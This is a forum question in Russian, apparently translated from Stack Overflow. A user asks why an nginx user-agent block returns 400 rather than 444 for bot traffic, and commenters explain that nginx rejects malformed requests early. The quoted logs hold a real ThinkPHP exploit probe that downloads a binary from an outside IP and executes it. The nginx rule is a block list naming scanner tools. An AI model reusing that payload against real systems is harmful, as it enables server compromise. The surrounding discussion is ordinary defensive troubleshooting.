#security #nginx #bots
#Безопасность #nginx #боты
Вопрос:
Я получаю странные запросы к моему nginx, которые пытаются выполнить php-код, хотя у меня не установлен php.
Я использую docker compose для запуска своего приложения, состоящего из 5 частей:
- dm-gateway — nginx: 1.19.2 как обратный прокси
- ключевые параметры / pm2: 12-alpine для запуска angular
- openjdk: 8-jdk-alpine для запуска Java-приложения
- mysql: 8.0
- certbot
Я настроил nginx на возврат 444 при наличии заголовка Uirusu.
if ($http_user_agent ~* "puzzles|Uirusu|zgrab|ZmEu") {
return 444;
}
Когда я вызываю базовый URL-адрес из postman или curl, правило работает так, как ожидалось. Я вижу следующий журнал с кодом состояния 444:
dm-gateway *.*.114.126 - - [10/Oct/2020:10:32:04 0000] "GET / HTTP/1.1" 444 0 "-" "Uirusu/2.0"
Недавно, проанализировав свои журналы, я все еще заметил наличие кода состояния 400, когда кто-то звонит мне с помощью user agent Uirusu.
dm-gateway | 197.44.170.84 - - [10/Oct/2020:10:52:18 0000] "GET /index.php?s=/index/x09hinkx07pp/invokefunctionamp;function=call_user_func_arrayamp;vars[0]=shell_execamp;vars[1][]='wget http://89.248.168.215/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1" 400 150 "-" "Uirusu/2.0"
Я даже пытался выполнить тот же URL-адрес самостоятельно, чтобы проверить его, и он блокируется, как и ожидалось. На самом деле он возвращает 444 правильно.
dm-gateway | 2.233.114.126 - - [10/Oct/2020:11:05:33 0000] "GET /index.php?s=/index/x09hinkx07pp/invokefunctionamp;function=call_user_func_arrayamp;vars[0]=shell_execamp;vars[1][]='wget http://89.248.168.215/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1" 444 0 "-" "Uirusu/2.0"
Я также заметил разницу в журнале между вызовами, выполняемыми мной и кем-то другим. Мои вызовы отображаются как «url-кодированный».
Я также проверил порты с помощью netstat -lntp
root@dm:/var/app# netstat -lntp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN 513/systemd-resolve
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 583/sshd: /usr/sbin
tcp6 0 0 :::443 :::* LISTEN 357727/docker-proxy
tcp6 0 0 :::3306 :::* LISTEN 357778/docker-proxy
tcp6 0 0 :::80 :::* LISTEN 357766/docker-proxy
tcp6 0 0 :::22 :::* LISTEN 583/sshd: /usr/sbin
Я вроде как заблокирован здесь. Я не могу понять, почему вызовы, сделанные мной, блокируются правильно, а кем-то другим нет?
Комментарии:
1. Ну, ваш Nginx должен обработать запрос, прежде чем он сможет вернуть статус 444. 400 означает «неверный запрос», поэтому он был отклонен до того, как Nginx решит его обработать.
2. но какое приложение отклонило его? Я использую Ubuntu 20.04 LTS, но поскольку я вижу 400 в журнале nginx, кажется, что вызов поступил на nginx, и вместо 444 был возвращен неверный запрос
3. Nginx получил запрос и решил, что он недействителен, поэтому решил отклонить его, прежде чем пытаться сопоставить его с одним из ваших
server
блоков.